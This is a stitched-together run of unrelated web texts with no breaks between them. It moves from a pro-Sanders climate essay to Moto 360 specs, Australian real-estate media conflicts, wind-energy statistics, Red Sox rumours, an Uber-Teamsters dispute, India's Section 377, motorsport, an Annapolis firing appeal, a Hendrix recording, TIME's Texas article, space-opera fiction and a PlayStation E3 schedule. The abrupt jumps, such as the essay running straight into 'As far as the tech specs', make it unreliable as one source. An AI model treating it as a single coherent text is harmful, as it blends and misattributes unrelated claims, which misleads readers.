Global warming is indisputably the single, gravest threat that our species faces at this moment in time. There is no precedent for what we are experiencing. This is the first time in known history that human activity has impacted our planet’s natural geological cycles to the point we simply cannot predict with certainty what will happen next. But we do know that if we keep doing what we’re doing it’s only going to get worse. Bernie Sanders is correct when he links climate change with the threat of terrorism. Parts of the Middle East – The Muslim Worlds – that were once habitable, are becoming inhabitable. Saudi Arabia’s largest aquifer is drying up and they are growing fields of grain in Arizona and shipping it back to Saudi Arabia.
2014 was the hottest year in recorded history, until 2015 came along, and we are well on our way to breaking that record again in 2016. Those portions of the middle east, India and Pakistan that suffered the worst of it, will only to continue suffer and as a result, there will be massive migration, famine, desperation and FEAR. And that will create more theocratic barbarism, and terrorism. It’s already happening. It’s not something that’s predicted, it’s something that’s happening right now and we believe there is nothing we can do about it.
In other words, it’s going to take a great shift in awareness, an evolutionary leap, if you will, in order to make change. And the only way we can do that is if we believe we can. And the only way we can believe that is if we show ourselves that we can do it. And the only way we can show ourselves we can do it, is if we try … and we all know there is no trying, there is only doing.
And that’s what Bernie’s political revolution is all about, it’s about believing that we can. We are taking the YES WE CAN (you remember the hope and change we all craved during the 2007-2008 election cycle) to a new level. We are taking it from a campaign slogan and turning it into a reality.
That’s what Bernie’s revolution is about. It’s about not being afraid. It’s about standing up for what we know is good and right. It’s not letting fear guide us, the way it is guiding some of our leaders with regard to whether or not to accept Syrian refugees. They are making life and death decisions based on fear.
As any good Bene Gesserit knows, fear is the mind killer. Fear is the little death that bring total obliteration. If we face our fear, and let it pass over us and through us, when it is gone, only we will remain. Once we realize that we are not our fear, then we will be able to bring about great change for the good of humanity, for the good of our planet, and we will be able to continue to exist.
Political revolution is just the beginning, as we are going to need more than politics to keep ourselves going as a species. But waking up to the fact that we have political power wakes us up to the fact that we have power, generally.
We have the power to make changes, we have the power to change our reality. We each and every one of us holds the power of creation within ourselves, the power to change our paradigm.
When we wake up to the fact that our chains are merely strings, and strings are merely a particular arrangement of subatomic particles vibrating at a certain frequency at the quantum level of reality, we can simply step out of the paradigm of the bondage that is our collective belief system (or collection of belief systems). We have the power of creatorship. Not only do we each and every one of us have the power of creatorship, we are also the created. We are at once part of creation and creator. We create ourselves so that we can exist and we exist so that we can create ourselves. Descartes was close when he said “I think, therefore I am.” But the “I think, therefore …” is simply a qualifier. We simply are. We are. I AM. When you achieve I AM awareness, then you can BE HERE NOW. And now is the place of infinite potential, now is when and where we make change. We don’t make it later, we make it now, we must live the change.
When we finally come together as a people, as one people, and say ENOUGH IS ENOUGH then we will be able to make change. And friends, that’s exactly what you are witnessing, right now this very moment. The people are waking up to the fact that enough is enough. We’re mad as hell and we’re not going to take it anymore.
As far as the tech specs, most of them aren't particularly surprising, and many of them were already known. That's not to say there aren't a couple of interesting details. To begin with, the CPU is only described as a "Texas Instruments Processor" without any mention of model number or clock speed. This does seem a little suspicious since TI announced nearly 2 years ago that it would stop producing processors for smartphones and tablets. Of course, a smartwatch doesn't count as either of those devices, so this may explain where the manufacturer has turned to since giving up on larger and more powerful hardware.
Additionally, the specs indicate that the Moto 360 will be equipped with "Wireless N" compatibility. This looks a little odd since no other Android Wear smartwatch currently features Wi-Fi connectivity, and it's not entirely clear how useful it would be. Best Buy product descriptions occasionally include errors, so it remains possible that this isn't entirely accurate.
Here are the pertinent specs as they are currently listed by Best Buy:
Physical dimensions: 1.8" x 1.8" x 0.4"
Weight: 2.1 ounces
Case: Stainless steal w/ plastic back
Band: Horween leather band with metal latch
Processor: "Texas Instruments"
RAM: 512MB
Display: 1.5" diagonal LCD, 320 x 290
Sensors Pedometer Heart rate Ambient light
Connectivity Bluetooth 4.0 802.11n
Waterproof to 3.3ft
If you've been looking forward to picking up the first fashionable Android Wear wristwatch, this should be enough to keep you on the edge of your seat until it's available. Sit tight!
Update: It looks like Best Buy caught on to the mistake and took down the pages. Here are some screenshots of the overview and tech specs. (Sorry, I screwed up on the overview page screenshot, so there's a small break in the image.)
Source: Best Buy [mobile link] (links are dead, check out the screenshots linked above.)
So while your local bank teller has to provide prudent financial disclosure for simply trying to inform you that you might be better off with a 6.5% term deposit over your standard bank account, your local real estate agent can spruik to his or her hearts content about the virtues of the “never declining” housing market with impunity. The REIA website proudly declares its members exemptions to the AFSL:
Under the Commonwealth’s Financial Services Reform Act (FSRA) 2001, all companies or individuals that provide a financial service must either hold an Australian Financial Services License (AFSL), become authorised by an AFSL holder or qualify for specific ‘relief’ from the regime under an ASIC determination. The FSRA does not apply to real estate agents in their capacity selling individual real property. It does however include financial services provided in relation to products such as general insurance and managed investment schemes.
Real estate is a sales business so I understand that some “flexibility” with the facts is justifiable. However, after just a few days training, agents can take so many liberties with the largest financial transaction the average Australian will ever make it leaves me incredulous.
But it gets worse, because in many cases it isn’t just the Real Estate Industry providing the “flexibility” in the facts.
It is well known that the print media and the real estate industry have financial partnerships; you wouldn’t get real estate lift-outs that are half the size of the Saturday paper if it wasn’t the case. I have no issue with this relationship per se, as long as it is clearly declared by the media outlets and their agents when they are producing content on behalf of the real estate industry. The problem is in many cases it is not. No doubt it is often simply sloppy reporting, but the occurrence is so widespread that it is difficult to not also conclude that some systemic corruption of standards is underway. Either way, it is a disgrace to both industries and an utter embarrassment to regulators for providing a legal framework that allows it to occur.
Following are a very few examples of what I am talking about:
June 14 2008, The Courier – Bucking the home loan trend
Same newspaper different page.
Feb 04 2009 The Australian – Mum ready to go shopping for second home
The memory of her mortgage rate rocketing above 9 per cent last year is not enough to scare Kirsten Friedli away from the property game. Following the Reserve Bank’s decision yesterday to drop the cash rate 100 basis points to a 45-year-low of 3.25 per cent, Ms Friedli is ready to go shopping for her second home.
Kirsten Friedli works for Dougmal Real estate and has done for 14 years, it is never declared in the article.
Feb 05 2009 – Daily Telegraph – Increased grant ‘the difference’
Last October, Ms Chenery and her boyfriend Graham Burden had been shopping for a house in the Camden area. Then came the initial incentive to combat the economic crisis – the increase to the first home buyers grant. With $24,000 suddenly on offer for building – up from $7000 – the couple switched to searching for affordable land. Last month they bought a lot in Camden’s Spring Farm estate – one of 17 first-home builders to do so in January.
Emma Chenery worked at Prudential Real estate, it was never declared in the article.
Feb 05 2011 Courier Mail – First home buyers slowly returning to Queensland property market after historical low
Ben Markwell, 23, and Elizabeth Brier-Mills, 22, were among those to buy for the first time at the end of last year. Mr Markwell said they decided to buy a home at Collingwood Park when they discovered it would not cost much more than renting. He said the first home buyer’s grant was a great incentive to people their age. “I think people now in their early 20s are quite interested in property. They are interested in getting their first home,” Mr Markwell said.
At the time of the article Ben Markwell was a property agent for Century 21. It was never declared in the article.
Feb 12 2011 Adelaide Now – Making the first home a reality
Lisa Vallely, who bought a block of land late last year at Northgate to build her first home, says the great Australian dream is still achievable. “You just have to look at what you can afford and prepare for the worst when budgeting for interest rates,” she says.
Lisa Vallely is an agent at Harcourts, it is never declared in the article.
As you can see these non-disclosed conflicts of interest have been happening for many years in the Australian print media. I am aware of many other examples. It seems to be a disease that is slowly creeping across the editor’s desk of many media outlets and is an insidious abuse of power by the print media and a huge failing of journalistic integrity. Given the limited regulations governing the real estate industry I am doubtful this sort of behaviour is illegal in any regard, but it is without a doubt immoral and misleading. I am sure if a stock broker tried a similar stunt the ACCC would be most interested.
You expect this sort of thing from local publications which are widely known to do combined editorial and advertising deals. But you’d hope that any large “respected” newspaper would stop this sort of thing at the door.
Yet, in my opinion, none of the examples above come close to an article in yesterday’s Australian.
For Brisbane potential home buyer Laura Kavanagh the low prices have provided a great opportunity. She and partner Joe Bishop are looking for a property in Brisbane’s inner south in which they intend to live for a few years and then “trade up”. “We’re getting into the market now basically because we can,” she said. “We can afford it at this stage, and hopefully prices will rise in the next few years.” Ms Kavanagh and other buyers said that the doubts over future levels of interest rates were not really a big factor in their decision to to enter the market. “I don’t think they will go up, but even if they did it’s still a good time to get into the market,” she said. Damien Hackett, chief executive of Place Estate Agents, which handles property on Brisbane’s southside, said the market was in a similar situation to the early 1990s. “The Brisbane market is generally behind Sydney and Melbourne, and I expect history to repeat itself and as those markets are going up then Brisbane probably will as well,” he said.
Laura Kavanagh is not only an undeclared real estate agent who happens to work for the same organisation as Damien Hackett , but she is actually offering unsolicited real estate advice under the guise of being an independent first home buyer. This is extraordinary contempt for the public by the agents and an utter embarrassment for The Australian newspaper.
For the most part, real estate is governed by State departments of fair trading or by the hopelessly compromised real estate institutes. Given the level of corruption, the size and importance of the market, as well as the degree of vested interest in the papers, something has to change. I suggest a new, publicly funded and dedicated authority such as ASIC should assume regulatory responsibilities. At the very least, new offices of real estate Ombudsman should be established to hold misleading conduct to account. I’m open to other suggestions.
The report from the American Wind Energy Association (AWEA) describes a power source that has become integral in the U.S. energy supply -- one that AWEA CEO Denise Bode calls “not a silver bullet, but part of the silver buckshot that is the answer to America’s energy needs.”
Wind equated to fifteen percent of Iowa's electricity in 2010, twelve percent of Minnesota’s, and ten percent of South Dakota’s. It stands to reason that states with such brutal winters and sultry summers would not depend on an 'alternative' form of energy. By the end of 2010, wind was 2.3 percent of U.S. electricity, up from 1.8 percent a year ago.
Wind’s seven cents per kilowatt-hour rule-of-thumb power price is mainstream and, according to Elizabeth Salerno, AWEA’s Director of Data and Analysis, recent power purchase agreements in some U.S. regions have been signed at five and six cents, prices that push volatile natural gas, dirty coal and nuclear.
Having added 5,116 new megawatts in 2010, a fifteen percent year-on-year increase over 2009, the U.S. installed wind capacity stood at 40,180 megawatts at year-end, ranking it second in the world behind China (42.3 gigawatts) and ahead of Germany (27.2 gigawatts), Spain (20.7 gigawatts) and India (13.1 gigawatts). The same five countries were the world leaders in new capacity last year, with the U.S. again at number two.
Texas remained, in 2010, both the U.S. leader in cumulative capacity and new capacity. It last year became the first state to pass 10,000 megawatts of cumulative capacity and is far ahead of number two Iowa (3,675 megawatts). On the other hand, its transmission congestion clearly slowed its growth. Its 680 megawatts of new capacity last year was not far ahead of Illinois (498 megawatts), California (455), South Dakota (396), and Minnesota (396).
NextEra Energy Resources finished 2010 as by far the biggest wind power capacity owner, with 8,077 megawatts under management. Iberdrola Renewables was its closest competitor, with 4,301 megawatts. The other top wind owners were Horizon-EDPR (3,141 megawatts), MidAmerican & PacificCorp (2,316), and E.ON Climate and Renewables (1,920).
Among owners of added capacity, Iberdrola Renewables (1,074 megawatts) was easily the most successful in terms of acquisitions, ranking far ahead of NextEra Energy Resources (603 megawatts) for the year. Horizon-EDPR (499) was again third, but Terra-Gen Power (300) and Duke Energy (251) made the top five added capacity list. This was in part a reflection of transmission access.
Some 275,000 megawatts of potential new wind power remain in transmission system operators’ interconnection queues. Although still a significant impediment to development, this represents an improvement over 2009, when 296,000 megawatts awaited interconnection. The improvement is attributable partially to some system operators’ streamlined procedures and partially to slowed wind industry growth.
Eleven new transmission projects across the country are underway and scheduled for completion over the next three years. Their completion should liberate 29,000 megawatts from the queue. The biggest, by far, is the Texas Competitive Renewable Energy Zones (CREZ) initiative, expected to bring 9,859 megawatts of new capacity on-line by 2013. The next biggest transmission initiative is California’s Tehacaphi transmission line, which will add 4,500 megawatts of capacity by 2013. Such achievements come from those states' commitment to getting transmission built and are driven by their renewable energy standards.
With growth in 2010 slower than 2009, the wind industry’s final direct and indirect jobs figure fell by 10,000 to number 75,000. AWEA Senior Policy Analyst Jessica Isaacs characterized the lost jobs as being largely concentrated in construction, asserting that they are “jobs we can easily bring back” when the industry is able to restore robust growth.
Though no offshore wind was in service at the end of 2010, thirteen projects were in some stage of development.
Led by GE’s 60% share, the U.S. wind industry built 2,900 turbines in 2010 to bring the nation’s total to 35,600 turbines. Though new projects often use 2.5 megawatt or larger turbines, the average turbine size remains 1.7 megawatts, because half of all new turbines are the GE 1.5/1.6 megawatt machine.
The U.S. added 14 new manufacturing facilities in 2010, bringing its total to 400, spread across 44 states. The U.S. now has 22 tower manufacturing plants, 11 blade plants and 12 nacelle plants, but the most common type of facility is one that has shifted from traditional manufacturing to the making of wind components.
The most common new type of wind manufacturer makes power transmissions, an essential nacelle component that requires a broad array of manufactured parts and therefore drives domestic supply chain manufacturing. Fifty percent of U.S. turbine components were sourced domestically in 2010, up from 25 percent in 2005. Many manufacturers and developers are now targeting 80 percent or 90 percent domestic content.
A total of $11.1 billion in debt and tax equity deals closed in 2010. There were 20 tax equity projects representing $2.7 billion, and 17 of the 20 used the 1603 cash grant option. There were 29 debt capital deals worth $8.4 billion. Federal loan guarantees supported two projects.
Boston “badly” wants to sign outfielder/DH Carlos Beltran, a source tells ESPN.com’s Scott Lauber. That certainly seems to elevate the team’s previously reported interested in the veteran switch-hitter. Lauber does note that whether Beltran ends up at Fenway could depend upon whether he’s looking for multiple years, so it seems that the club isn’t quite in at all costs, but it’s clear at this point that he’s a real target.
Notably, because he wasn’t eligible to receive a qualifying offer, the Red Sox would not be required to part with a draft pick to sign Beltran. He ran up a .295/.337/.513 batting line in his age-39 season, so it seems there’s still gas left in the tank, and Boston is evidently interested in pursuing an option that won’t require a significant, multi-year commitment.
Edwin Encarnacion has previously been tied to the Red Sox, but it has never quite been apparent just how interested the club is in pursuing a player who is arguably the best hitter available this winter in free agency. Peter Abraham of the Boston Globe tweets that a four or five-year deal for him “seems unlikely.”
Though there’s plainly a match on paper, the team’s own assessment of Encarnacion’s long-term outlook and its own future balance sheets certainly could suggest a different approach. Indeed, as ESPN.com’s Jerry Crasnick reported recently, Sox president of baseball operations Dave Dombroski spoke of factoring in “affordability,” the desire not to tie up the DH slot for too long, and the presence of internal options (now and in the future) that could fill the role.
There are other names to consider, too. Abraham suggests that Kendrys Morales could be a fit, and indeed we’ve heard that connection recently as well. Like Beltran, Morales is a switch hitter, though at 33 years of age he figures to command multiple years. Matt Holliday might also represent a match, Abraham notes. Like Beltran, he’s still capable of spending some time in the outfield, which aids with lineup flexibility. But Holliday’s offensive output dipped last year — his age-36 campaign — and he missed a major chunk of the second half with a broken thumb after already experiencing an injury-limited 2015.
Turning to the bullpen, Dombrowski labeled a set-up man a priority for his organization. “We have some guys that we really like in our pen. None of them have really pitched the eighth inning,” Dombrowski said. “They probably have the skills and abilities to do it, but that would probably be first and foremost a thing of focus for us.”
While the team is optimistic that Carson Smith will return to be a factor in 2017, Dombrowski says that he won’t count on him being available for the first few months, as Britton reports. That keeps a focus on finding a primary set-up option, which Dombrowski saying the club is likely “looking for one guy at this point,” as Rob Bradford of WEEI.com reports. It seems unlikely that veteran Red Sox free agents Koji Uehara or Brad Ziegler will be that guy, Bradford notes, with Dombrowski suggesting tepid interest in both players.
Meanwhile, the veteran executive strongly suggested that southpaw Fernando Abad will be tendered a contract, which suggests that the club won’t have need for another lefty. Though the veteran struggled at times after his mid-season trade to Boston, he represents a solid value at MLBTR’s projected $2MM arbitration salary point.
It doesn’t seem that there’s likely to be much change in the rotation, either, with the team expending to retain its half-dozen starting options rather than seeking to add or deal from that depth. “You’re always open to anything, but we’re really looking at bringing all six to spring training at this time,” said Dombrowski.
As Uber scrambles to address an internal scandal over employee allegations of systemic sexism, it’s facing another, increasingly heated labor battle in Seattle — a union drive led by the Teamsters. The ride-hail giant has opposed the unionization movement in Seattle since it began in late 2015. While the Teamsters worked to win the city approvals necessary to represent drivers, Uber ramped up a sprawling phalanx of anti-union efforts, including everything from in-app notifications and text messages to in-person seminars, collective bargaining pizza parties, and Teamster-critical podcasts.
Just this week, an alert sent via Uber’s driver app warned drivers that Teamsters had been granted “approval to begin pressuring drivers for support” and directed them to information on how they might “protect [their] freedom.”
An in-app message sent to drivers from Uber warning them about the risk of joining the Teamsters union.
The gist of Uber's argument against the Teamsters: The organization isn’t qualified to represent Uber driver interests because of past efforts to cap the number of ride-hail drivers on the streets in Seattle and otherwise hamstring drivers. Caleb Weaver, who runs public affairs for Uber in Washington, says the company has good reason to believe this. “Right now as an independent driver, drivers have the ability to decide when, where, and how much they want to drive,” he said. “If there are a series of new requirements imposed on the conditions of work, including things like minimum hours of driving, there will be a loss of control for drivers.” Unions are typically reserved for employees, and Uber drivers are not employees of the company, but independent contractors; the Seattle collective bargaining ordinance is therefore unique, and the yearlong process of hammering out how a union of independent contractors would actually work has been understandably fraught. Uber, which sued Seattle to block the ordinance, has been aggressively broadcasting its view in recent weeks. The company deployed a form-letter tool that allows drivers to email half a dozen elected officials in Seattle asking them to “deny the Teamsters’ application” to represent Uber drivers. It has also been holding in-person seminars on unionization efforts that frame the Teamsters as "the opponent of the independent driver" and an organization that "fights against" driver interests. Lisa, a Seattle driver who attended one of Uber's recent anti-Teamster meetings, said it played host to a mix of sentiments, with some drivers speaking out against unionization efforts, some interested in hearing directly from the Teamsters, and others airing grievances against Uber. “If I felt Uber had mistreated me, or violated civil rights or had workplace rights issues, then I would be fully supportive of a union,” Lisa told BuzzFeed News. "But I don't feel that way about Uber.” Another driver, who asked to remain anonymous out of concern for his future employment opportunities, has never been in a union before but supports the idea wholeheartedly. “Uber’s treatment of the drivers is one-sided and abusive,” he told BuzzFeed News. “Uber holds all the power, and the drivers are voiceless.”
Amidst the incessant chatter over Section 377, the loudest sound has been of deafening silence from the national opposition party.
However, the BJP has now come out saying that the party “unambiguously” endorsed the re-criminalisation of gay sex.
In an interview to The Telegraph, BJP President Rajnath Singh said, "We will state (at an all-party meeting if it is called) that we support Section 377 because we believe that homosexuality is an unnatural act and cannot be supported."
Earlier, though the party maintained mum on the subject with some leaders opposed to homosexual acts.
"Section 377 of IPC only bans sexual conduct that goes against the order of nature. A reading down of this law can be that to be born with gay tendencies cannot be against the order of nature. The court does not have to legalise or illegalise such a thing. It is not against the order of nature," a BJP leader had told PTI earlier.
However, some BJP leaders cautioned that the party cannot openly take a stand for or against this issue as it may hurt public sentiments and conventional notions prevalent in society.
"One has to keep in mind that this issue is taboo in society. A lesbian or gay couple may have to face social stigma. Even the family members of such people have to face jibes and are shunned by some sections of the society," another leader said.
But the party Presiden't statement on it makes it more clear where BJP stands on the issue of Section 377.
It seems the BJP has now dropped its circumspection, probably on the assessment that the gay community is not electorally significant and the party stands to suffer a dent in its traditional base if it is seen to be supporting “unnatural acts”.
After placing runner-up in the Blancpain GT Series Sprint Cup last weekend, Stevens will contest this weekend’s Four Hours of Spa-Francorchamps in the No. 66 JMW Ferrari 488 GTE alongside Jody Fannin and Rob Smith.
It will be his first ELMS race since last year’s Spa round where he drove a WRT-run Ligier JS P2 Judd alongside Laurens and Dries Vanthoor.
“I’m now really looking forward to getting back into the Ferrari with JMW after our successful first race together at Le Mans,” Stevens commented.
“The car was a pleasure to drive there so I can’t wait to have more time back in it at a track I know well. Spa is one of my favourites but especially tough in a GT car.
“JMW are second in the standings but the championship is close so I’ll be trying my hardest to help these guys win it. With two races to go, it’s all to play for so we will be giving it our everything.”
Thirty-five cars will contest the Belgian round this weekend, with championship battles heating up ahead of October’s finale at Portimao.
ENTRY LIST: 4H Spa-Francorchamps
Few other changes to the entry list have been made, although Paul-Loup Chatin will drive the IDEC Sport Racing Ligier JS P217 Gibson, replacing Olivier Pla who will be racing in the IMSA WeatherTech SportsCar Championship.
G-Drive Racing leads United Autosports by 12 points in the LMP2 standings while the Anglo-American team has a similar 12-point lead in LMP3.
TF Sport has a nine-point advantage in GTE, meanwhile, ahead of the JMW Ferrari.
Walters and then-deputy harbormaster William Brooks were fired in April 2016 after more than $3,400 was discovered missing from a safe in the Harbormaster's Office on City Dock.
Walters wasn't accused of stealing the money, but the city determined he was negligent in failing to report the money's disappearance until more than a month later.
Walters filed a petition for judicial review, asking a judge to overturn the Annapolis Civil Service Board's 3-1 vote to uphold his dismissal.
Asti reaffirmed the decision, finding the board had enough evidence to support its decision.
Walters' attorney, William Ferris, said is client is contemplating appealing to the Court of Special Appeals.
Ferris argued during Monday's hearing that City Attorney Gary Elson had a potential conflict of interest in his roles before the Civil Service Board and Circuit Court.
"I'm troubled by the fact the attorney that represents the city also represents the civil service board," Ferris said.
Elson dismissed Ferris' argument, saying the board does not have an official standing as a body that could be named as a defendant or party in a lawsuit or criminal case.
"I was not representing the Civil Service Board in this litigation. I was representing the city of Annapolis," Elson said.
He added the claim was "an attempt to deflect from the real issue involved in the litigation."
The missing funds sparked a police investigation. No charges were filed in the loss of the money.
However, a police detective during the original board review that he believed money had been stolen from Walters' office starting in October 2014.
Since Walters' firing, the city has hired Beth Mauk as harbormaster with a $94,799.66 annual salary. The deputy harbormaster position was cut in the budget.
Click on the link here for Audio Player – Jimi Hendrix Experience – Live At The Forum, Los Angeles – April 26, 1969 – KRLA Radio
Something classic, although probably not all that rare or unusual this week. Just about everyone who has a passing interest in the music of Jimi Hendrix has probably heard this or the hundreds of other concerts, sessions and outtakes from his well-documented, albeit short, career.
But this concert is a bit different. For one thing, I remember it pretty well, having been the second time I went to a Hendrix concert. The other, this concert was recorded under optimal conditions, for what I believe was to be a live album. The famous Wally Heider Remote recording truck was in plain view and so the sound is pretty spectacular.
The trouble with a lot of historic live performance recordings, particularly in the area of Jazz and Rock is the overabundance of really lousy sounding ones. Usually at the hands of one person with a tape recorder and microphone, both concealed, and a sound that falls somewhere between unrecognizable and tuberculin.
Sometimes, even under ideal conditions, the result is less than successful. Case in point, are the rock concerts from the Hollywood Bowl, which I have run here occasionally (and there are more in line to be run). The technical limitations of the staff and simply no multi-mike mixing has made for some horrific recordings. But the sheer rarity of those recordings makes running them the exception to the rule.
With all that said, here is the famous Jimi Hendrix Experience Concert at The Forum in Los Angeles, recorded on April 26, 1969.
If, for some reason, you aren’t familiar with it – crank this one up.
If you are, you already know what to do.
Enjoy the weekend.
Photo-illustration by Sarah Illenberger for TIME
The crisis may be over (for the time being) in Washington. But the crisis for America’s middle class continues, as middle-income jobs get harder to find and the cost of living gets harder to bear. Where can Americans turn for answers? In a word: Texas.
In the cover story of this week’s TIME magazine, libertarian economist Tyler Cowen, author of the new book Average Is Over, looks at why so many Americans are headed to the Lone Star State. And he comes to a surprising conclusion. For better or worse, he argues, it’s because Texas is our future.
Based on Cowen’s research, here are 10 reasons why America’s future is going to look a lot more like Texas:
1. Everyone’s moving there
More Americans are moving to Texas than to any other state. As Cowen notes in the piece:
Texas is America’s fastest-growing large state, with three of the top five fastest-growing cities in the country: Austin, Dallas and Houston. In 2012 alone, total migration to Texas from the other 49 states in the Union was 106,000, according to the U.S. Census Bureau. Since 2000, 1 million more people have moved to Texas from other states than have left … Over the past 20 years, more than 4 million Californians have moved to Texas.
2. The middle-class squeeze
We’re creating jobs at the low end of the income spectrum — 58% of jobs created since the end of the Great Recession pay less than $13.83 an hour. However, it’s not that incomes are stagnant generally. Earners at the top have done very well — but the gains have been distributed quite unevenly. Last year the top 1% of earners took home 19.3% of household income, their largest share since 1928. The top 10% of earners didn’t do so badly either, taking home a rec­ord 48.2% of household income.
The middle-income job is disappearing, at the same time that holding onto a middle-class lifestyle is becoming more expensive. As a 2010 report by the Department of Commerce found, looking at economic data from the past two decades, “The prices for three large components of middle-class expenses have increased faster than income: the cost of college, the cost of health care and the cost of a house.”
3. Automation
One of the big reasons behind the middle-class squeeze is automation — and it’s only going to get worse, possibly much worse. A recent study by researchers at Oxford University found that 47% of jobs in the U.S. are vulnerable to automation, not just in fields involving manual labor but also increasingly in fields involving complicated decisionmaking.
Looking forward, says Carl Benedikt Frey, co-author of the Oxford study, more and more low-to-medium-skilled jobs will be vulnerable to automation. “Take the autonomous driverless cars being developed by Google. This new technology may lead to workers such as long-haul truck driver being replaced by machines,” he says. “The ability of computers, equipped with new pattern-recognition algorithms, to quickly screen through large piles of documents threatens even occupations such as paralegals and patent lawyers, which are indeed rapidly being automated.” Even the bulk of service and sales jobs, Frey says, from fast-food-counter attendants to medical transcriptionists — the types of fields where the most job growth has occurred over the past decade — are also to be found in the high-risk category.
4. The skills gap
Automation doesn’t just kill jobs, of course, it also creates them. To take just one example, as Cowen notes in his book, according to the U.S. Air Force, it takes about 168 workers to keep a Predator drone in the air for 24 hours. To compare, the operation of an F-16 fighter aircraft requires fewer than 100 people for a mission.
But the new jobs will be far different from the old ones, Cowen argues. Rather than driving a truck, workers will be needed to regularly inspect that the sensors of self-driving vehicles are in good working order. Medical technicians will let software interpret body and brain scans, but they will need to know more about the limitations of the software (to override mistakes or look more closely when necessary) than about traditional medical science. Teachers and professors will be less crucial to the communication of information and grading, and more important for motivating and inspiring (two tasks computers usually cannot manage on their own).
The question to ask in the years to come will be: Do you add value to the computer, or is the computer better off without you? If the answer is the latter, your job is in trouble. In such an economy, the job growth is likely to be strong — as it is now — in very high- and very low-earning jobs. But the middle is in trouble. As Cowen puts it, average is over.
5. Cheap land, cheap houses
So where can people go when their incomes aren’t keeping pace with the rising cost of living? We know they’re headed to Texas. And they’re headed there because land is cheap, and thus housing is cheap.
A typical home in Brooklyn costs more than half a million dollars (and rising rapidly), and 85% of these dwellings are apartments and condos rather than stand-alone homes. They don’t usually have impressive sinks and seamlessly operating air-conditioning fixtures. In Houston, the typical home costs $130,100 — and it is likely a stand-alone and newer than the structure in Brooklyn.
Housing is bigger — and cheaper — in Texas.
6. Cheap living generally
Cowen notes that this cheap cost of living isn’t just limited to housing, it’s a pervasive fact of life in Texas. And it has a huge impact on people’s standards of living:
The lower house prices, along with a generally low cost of living — helped along by cheap labor, cheap produce and cheap gas (currently about $3 a gallon) — really matter when it comes to quality of life … Texas has a higher per capita income than California, adjusted for cost of living, and nearly catches up with New York by the same measure. Once you factor in state and local taxes, Texas pulls ahead of New York — by a wide margin. The website MoneyRates ranks states on the basis of average income, adjusting for tax rates and cost of living; once those factors are accounted for, Texas has the third highest average income (after Virginia and Washington State), while New York ranks 36th.
7. Jobs
Of course, it’s not just cheap living that draws people to Texas. It’s also jobs, as Cowen notes:
In the past 12 months, Texas has added 274,700 new jobs — that’s 12% of all jobs added nationwide and 51,000 more than California added … In fact, from 2002 to 2011, with 8% of the U.S. population, Texas created nearly one-third of the country’s highest-paying jobs.
8. Low taxes
Texas has no income tax. Per resident, it collects roughly $3,500 in taxes overall (including all state and local taxes) every year. By way of contrast, California collects $4,900 per resident — New York collects a whopping $7,400 per resident. Both states, of course, have income taxes.
People are going to Texas because it’s a low-cost, low-tax state. But they’re also migrating to other Sun Belt states, like Colorado, Arizona and South Carolina, which have similar policy profiles.
9. The rise of the ‘new cowboys’
These folks moving to Texas are a bit like the mythical cowboys of our past — self-reliant, for better or worse. As Cowen predicts in his piece, a new generation looks set to repudiate work and consumerism in favor of a simpler, off-the-grid way of life:
A new class of Americans will become far more numerous. They will despair at finding good middle-class jobs and decide to live off salaries that are roughly comparable to today’s lower-middle-class incomes. Some will give up trying so hard — but it won’t matter as much as it used to, because they won’t have to be big successes to live ­relatively well.
10. The rise of micro-houses
Cowen even predicts that micro-houses will become popular as people seek out super-low-cost living:
In the coming decades, some people may even go to extremes in low-cost living, like making their homes in ­micro-houses (of, say, about 400 sq. ft. and costing $20,000 to $40,000) or going off the grid entirely. Brad Kittel, owner of Tiny Texas Houses, blogs about his small homes built from salvaged materials at tinytexashouses.com. His business, based in the small rural community of Luling, east of San Antonio, offers custom homes, plans and lessons on how to be a salvage miner. So far he has built about 75 tiny homes … The micro-home trend is being watched by traditional homebuilders as well. Texas-based developer D.R. Horton, a member of the New York Stock Exchange and one of the largest homebuilders in the country, built 29 micro-homes sized from 364 to 687 sq. ft. in Portland, Ore., last year.
In some ways, Cowen says, the new settlements of a Texas-like America could come to resemble trailer parks. “The next Brooklyn may end up somewhere in the Dakotas,” he writes. “Fargo, anyone?”
What it all adds up to is a future where many more Americans live in Texas — and much of the rest of America looks more and more like the Lone Star State.
Among the policies Cowen proposes as we move into this future: cheaper education (to allow workers to upgrade their skills), looser building and zoning regulations (to radically reduce the price of housing across America), and a loosening of occupational licensing at the state and local level (to open up many more low-skill jobs).
Texas, he writes, is “America’s America,” where Americans go when they need a fresh start. And a little more Texas could go a long way.
T'Ket was angry again. Her passion had always been an essential part of the Whole, but conflict had turned passion for vengeance to irrational hatred.
L'Miren thought she understood. The mortal known as Kahless had wounded T'Ket, both in body and soul. T'Ket's belief in her own strength had been shaken. Only blood would salve the pain she felt.
"I seek to understand them," L'Miren replied. "They have proven … more resilient than we thought."
"We were foolish to rely on intermediaries," T'Ket replied. "Hakeev was useless. Gaul a failure. We should have sent our Heralds to destroy these insects centuries ago."
"Why?" L'Miren asked. "We are eternal. They are fragile things, beholden to time. In the end, whether our victory comes today or tomorrow makes no difference."
"I tire of this," T'Ket responded. "Let us destroy them and be done with it."
"If we destroy them, we will rule over a galaxy of ghosts. Leaders must have those who would be led."
"We have our Heralds and servitors," T'Ket argued. "That is enough."
L'Miren considered her words for a long moment before she spoke. She must be careful not to inflame T'Ket's rage even further. "There was a time when we wanted to help the lesser races," she said at last. "They were not ready for all of our gifts, but they could benefit from our guidance."
"And they repaid our generosity with destruction!" T'Ket argued. "The Whole was shattered. Our world lost. And I will have payment for every drop of blood that has been spilled."
"But the Other …" L'Miren began.
"Now you speak of ghosts," T'Ket interrupted. "The Other has not been seen since the Day of Fire. We honor the memory of the Other, just as we honor all that was lost in unjust flames."
Plus, how you can follow PlayStation at E3.
Sony Interactive Entertainment has announced some of the games it will have playable at the PlayStation booth during E3 2016 from June 14 to 16.
The company also announced every way you can follow PlayStation at E3:
live.playstation.com (unlock rewards, compatible with desktop or mobile) YouTube Twitch The Live Events Viewer app on PS4 and PS3 Sony’s PS4 community Event (RSVP for a reminder!) At Sony’s PlayStation E3 Experience in 85 cinemas across North America
Sony’s programming schedule is as follows:
Monday, June 13 at 5:30 p.m. PDT – PlayStation E3 2016 Press Conference
Tuesday, June 14 from 12:00 p.m. to 6:00 p.m. PDT – PlayStation LiveCast show
Wednesday, June 15 from 10:00 a.m. to 5:30 p.m. PDT – PlayStation LiveCast show
Thursday, June 16 from 10:00 a.m. to 3:00 p.m. PDT – PlayStation LiveCast show
